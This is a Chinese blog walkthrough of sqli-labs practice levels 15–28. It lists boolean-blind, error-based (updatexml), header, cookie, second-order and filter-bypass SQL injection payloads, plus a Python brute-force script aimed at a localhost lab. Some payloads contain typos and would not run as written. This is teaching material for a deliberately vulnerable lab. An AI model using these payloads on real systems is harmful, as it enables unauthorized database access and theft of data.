Sqli-labs靶场详解(二)

一.sqli-labs靶场(15~17)

15.less15

        第15关发现联合查询和报错注入无效,使用and探测时发现有两个页面,于是判断是盲注中的布尔盲注

猜解库名长度
'or (length(database()))=8-- gwe
利用ASCI码猜解当前数据库名称:
'or(ascii(substr(database(),1,1)))=115-- gwe返回正常,说明数据库名称第一位是s
'or (asci(substr(database(),2,1)))=101-- qwe 返回正常,说明数据库名称第二位是e猜表名:


'or (asci(substr((select table name from information_schema.tables where table_ schema=database()limit 0,1),1,1)))=101-- qwe 如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
'or (ascii(substr((select column name from information_schema.columns where table_ name='emails'limit 0,1),1,1)))=105-- qwe 如果返回正常,说明emails表中的列名称第一位是i

有以下python代码,修改data中子句即可查询结果

import requests

url = "http://127.0.0.1/sqli-labs-master/Less-15/index.php"

def database_py():
    name = ""
    for i in range(1 , 20):
        for j in range(32 , 129):
            data = {"Username" : "admin' and (ascii(substr(database(), %d , 1 ))) = %d# " % (i , j) , "Password" : "123456"}
            res = requests.post(url , data)
            if "flag.jpg" in res.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue
if __name__ == '__main__':
    database_py()

注:为什么第9关用的是and,这里要用or

看第9关源码

 如果用?id=1'and if (length(database())=8,sleep(5),1)-- qwe为例来看,完整的查询语句为

select * from user where id = '1'and if (length(database())=8,sleep(5),1)-- qwe' 

 id=1是成立的,所以没问题,如果用or,后面的子句同样不会执行

第15关源码

同样的语句

SELECT username, password FROM users WHERE username='' and if (length(database())=8,sleep(5),1)-- qwe' 

 这里就有一个关键性问题,and前面username="'是不成立的,这样后面的子句不会执行,也就是拿不到查询结果

16.less16

         这题和上面是一样的思路,都是经过post传参的自注,只是闭合的区别
猜解库名长度
") or (length(database()))=8 -- qwe
利用ASCI码猜解当前数据库名称:
")or (asci(substr(database(),1,1)))=115-- qwe 返回正常,说明数据库名称第一位是s
")or (ascii(substr(database(),2,1)))=101-- qwe 返回正常,说明数据库名称第二位是e
猜表名:
’) or (asci(substr((select table name from information_schema.tables where table_ schema=database()limit 0,1),1,1)))=101--qwe 如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
"or (ascii(substr((select column_name from information_schema.columns where table_ name='emails' limit 0,1),1,1))=105--qwe 如果返回正常,说明emails表中的列名称第一位是i

源码闭合不同,16关拼接了"",变量用()包裹

17.less17

        判断是否存在注入:'or 1=1--qwe
判断库名:'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe
判断表名:'and updatexml(1,concat(0x7e,(select table name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe
判断列名:'and updatexml(1,concat(0x7e,(select column name from information_schema.columns where table_schema='security' and table_name='emails' limit0.1).0x7e),1)-- qwe
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe 

这里是报错注入,区别在于这里提示重置密码,那查询语句往密码放

二.sqli-labs靶场(18~22)

18.less18 

        第18关与之前套路完全不同,这里进来看到显示我们的IP地址

网站怎么会知道我们的IP地址嘞,这里就要知道一些关于网页的知识

User-Agent:浏览器的身份标识字符串
Referer:表示浏览器所访问的前一个页面,可以认为是之前访问页面的链接将浏览器带到了当前页面。
Accept:可接受的响应内容类型(Content-Types)。
X-Forwarded-For:可接受的响应内容类型(Content-Types)。
Date:可以用来表示HTTP请求端真实IP
发送该消息的日期和时间(以RFC 7231中定义的"HTTP日期"格式来发送)

打开源码查看拿取了user-agent头

SQL语句查询语句显示我们IP



那我们通过头注入,就可以把查询子句插入进去,怎么操作嘞
 判断库名:'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- qwe
判断表名:'and updatexml(1,concat(0x7e,(select table name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- qwe
判断列名:'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit0,1),0x7e),1),1,1)-- qwe
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1),1,1)-- qwe

:这里语句与前面不同,可能觉得括号多了,还有为什么会多两个1

将查询语句与子句拼接发现两个1是为了满足MySQL-insert语法,后面的被注释掉了,括号是补齐前面的括号 

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- qwe', '$IP', $uname)

这里开始用到BurpSuite,学习一下安装软件

      BurpSuite超详细安装教程-功能概述-配置-使用教程---(附下载链接)_burpsuite下载安装-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_62808713/article/details/128719786?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172310751616800188551874%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=172310751616800188551874&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~top_positive~default-1-128719786-null-null.nonecase&utm_term=burpsuite%E5%AE%89%E8%A3%85%E8%AF%A6%E7%BB%86%E6%95%99%E7%A8%8B&spm=1018.2226.3001.4450

装好软件后再装一个eage的代理插件

Microsoft Edge代理插件(管理切换代理) - 菜鸟-传奇 - 博客园 (cnblogs.com)icon-default.png?t=N7T8https://www.cnblogs.com/cainiao-chuanqi/p/15544446.html

这里发现怎么靶场的包抓不住,为什么嘞?还有就是开代理组件csdn写的保存不了,真是麻烦啊

随便点一个链接试试,能抓到啊

难不成用的小皮代理,抓不到,不可能啊,老师咋能行

说是要输正确的用户名和密码

我输啥都是错的,换了less17关也抓不到,为什么嘞?

老师讲的里面有查用户和密码的,倒回去看

这总是对的吧,先去试试

发现可以,这下是正确的吧,打开代理再抓包试试 

还是什么都没有,这是为什么?猜猜看啊,有意思

 代理端口不一样嘛?

看看

这里配了一个8080,可以抓到浏览器正常访问页面,那我们靶场是那个端口嘞

哈哈哈哈,为什么进度这么慢就是这样,总有些奇奇怪怪的问题,老师只要几秒,我花几个小时能解决就是万幸 

用这个嘛,看老师用这个,可是我8080端口和80端口都试了没用

到底是为什么我抓不到靶场的包嘞,查

试试这个

BurpSuite抓不到本地(127.0.0.1)靶场的包解决方法(超简单傻瓜教程)_burp拦不了127.0.0.1-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/2301_78482161/article/details/138004726

没用,垃圾,下一个

burp suite抓不到本地包127.0.0.1_burpsuite抓不到127.0.0.1-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_45951067/article/details/121160914

这个可以,抓到啦嘿嘿嘿

不要用127.0.0.1访问sql-labs靶场,用自己主机ip访问靶场,然后抓127.0.0.1的包就抓到啦

花了大概一个小时解决这个问题,一来就该查,不该自己琢磨,浪费了时间

我们继续学习,把子句插入user-agent头,报错注入拿到库名

19.less19

        19关区别在于劫持的信息不同,将查询子句放到合适位置,改好闭合即可

20.less20

         20题输入正确的账号密码后显示这一大坨

区别在哪里,20关注入点在cookie,把子句放在抓包cookie即可注入

21.less21

       21关注入点依然在cookie,但是将提交内容用base64进行了编码

只需要将子句编码即可

注;这里-- qwe经过base64编码后失去了注释功能,就算用#号编码也无效,直接and '1' = '1闭合掉后面单引号

SELECT * FROM users WHERE username=(''and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1) and '1' = '1') LIMIT 0,1

22.less22

        这一题和前面做法一致,只是符号的区别
判断库名:admin "and updatexml(1,concat(0x7e,(SELECT database(),0x7e),1) and "1"="1
判断表名:"and updatexml(1,concat(0x7e,(select table name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1) and "1"="1
判断列名:"and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit0,1),0x7e),1)and "1"="1
判断数据:"and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)and "1"="1

三.sqli-labs靶场(23~25)

23.less23

        23关又来到get传参

判断是否存在注入:?id=1'and1=1-qwe
判断字段数:?id=1'order by 3--qwe
判断显错位:?id=10'union select 1,2,3-- qwe
判断库名:?id=10'union select 1,2,3-- qwe
判断表名:?id=10'union select 1,table_name,3 from information_schema.tables where table_ schema='security'-- qwe
判断列名:?id=10' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'-- qwe
判断数据:?id=10'union select 1,id,3 from emails-- qwe 

这里说qwe是错误的,也就是-- 注释没生效,换成#号也无效,查看源码

这里有个preg-replace函数,查一下发现注释会被替换生效不了,也就是做了过滤

注释生效不了 ,参考22关,用or ,and 闭合后面单引号

这里还是报错注入,子句一上就ok

24.less24

        24关涉及到sql2次注入

二次注入是通过与数据库服务器进行交互的过程再次进行注入

        先注册一个账号

为什么要注册这个账号嘞,查看源码下面三个都有一个函数mysql_real_escape_string

mysql_real_escape_string函数

突破点就在username上,修改密码

发现修改密码后,admin账号可以用刚刚改的密码登录了

为什么会这样,因为看似改的是admin'#的密码,实际上后面是闭合用得,改掉了admin的账号密码

25.less25

        25关进去发现是get传参,套路尝试

        注意看这里and不见了,说明可能被过滤掉了,查看源码and 和 or被替换掉了,i是不论大小写替换

 这里过滤了,直接使用等价逻辑符号

and = && = %26%26

or = || = %7c%7c

但是不能直接用在输入栏里,在URL栏里&&符号代表多个传参的作用,直接再次等价替换换成编码

注:这里要注意information中的or也会被过滤掉,因此子句可以等价替换,也可以info-----+ or + ------rmation ,加一个or给他替换.或者其他的方法.

四.sqli-labs靶场(26~28)

        26.less26

        26关来到,套路一试,发现有过滤,看源码

这里or ,and被替换,注释被替换都可以解决,出现的新的是什么嘞

\s会消掉所有空白,这个依然是等价替换用%a0或者%0a,或者用括号包裹起来

判断库名:'|| updatexml(1,concat(0x7e,(SELECT%a0database()),0x7e),1)|'1'='1
判断表名:'|| updatexml(1,concat(0x7e,(select (group_concat(table name)) from(infoorrmation schema.tables) where (table schema)='security'),0x7e),1 )| '1'='1
判断列名:'|| %a0updatexml(1,concat(0x7e,(select%a0column name%a0from%a0infoorrmation schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table name='emails'%a0 limit %a00,1),0x7e),1)||'1'='1
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)|| '1'='1

27.less27

        27关直接看源码

过滤掉了更多的关键词,等价替换行不通,想办法替换就行,过滤全大写或全小写,子句直接大写+小写

28.less28

        直接看过滤规则,这里不区分大小写,该如何绕过

猜解库名长度
?id=1’) and (length(database()))=8%0a and('1')=('1
利用ASCII码猜解当前数据库名称:
?id=1')and (ascii(substr(database(),1,1)))=115%0aand('1')=('返回正常,说明数据库名称第一位是s?id=1')and (ascii(substr(database(),2,1)))=101%0aand('1')=('1返回正常,说明数据库名称第二位是e
猜表名:
?id=1’) and (ascii(substr((select%0atable name%0afrom%0ainformation schema.tables%0awhere%0atable schema=database()%0alimit%0a0,1),1,1)))=101%0aand('1')=('1如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr(select%0acolumn name%0afrom%0ainformation schema.columns%0awhere%0atable name='emails'%0alimit%0a0,1),1,1)))=105%0aand('1')=('1如果返回正常,说明emails表中的列名称第一位是i

直接用布尔盲注绕过这个,不用这几个函数就可以

  • 9
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值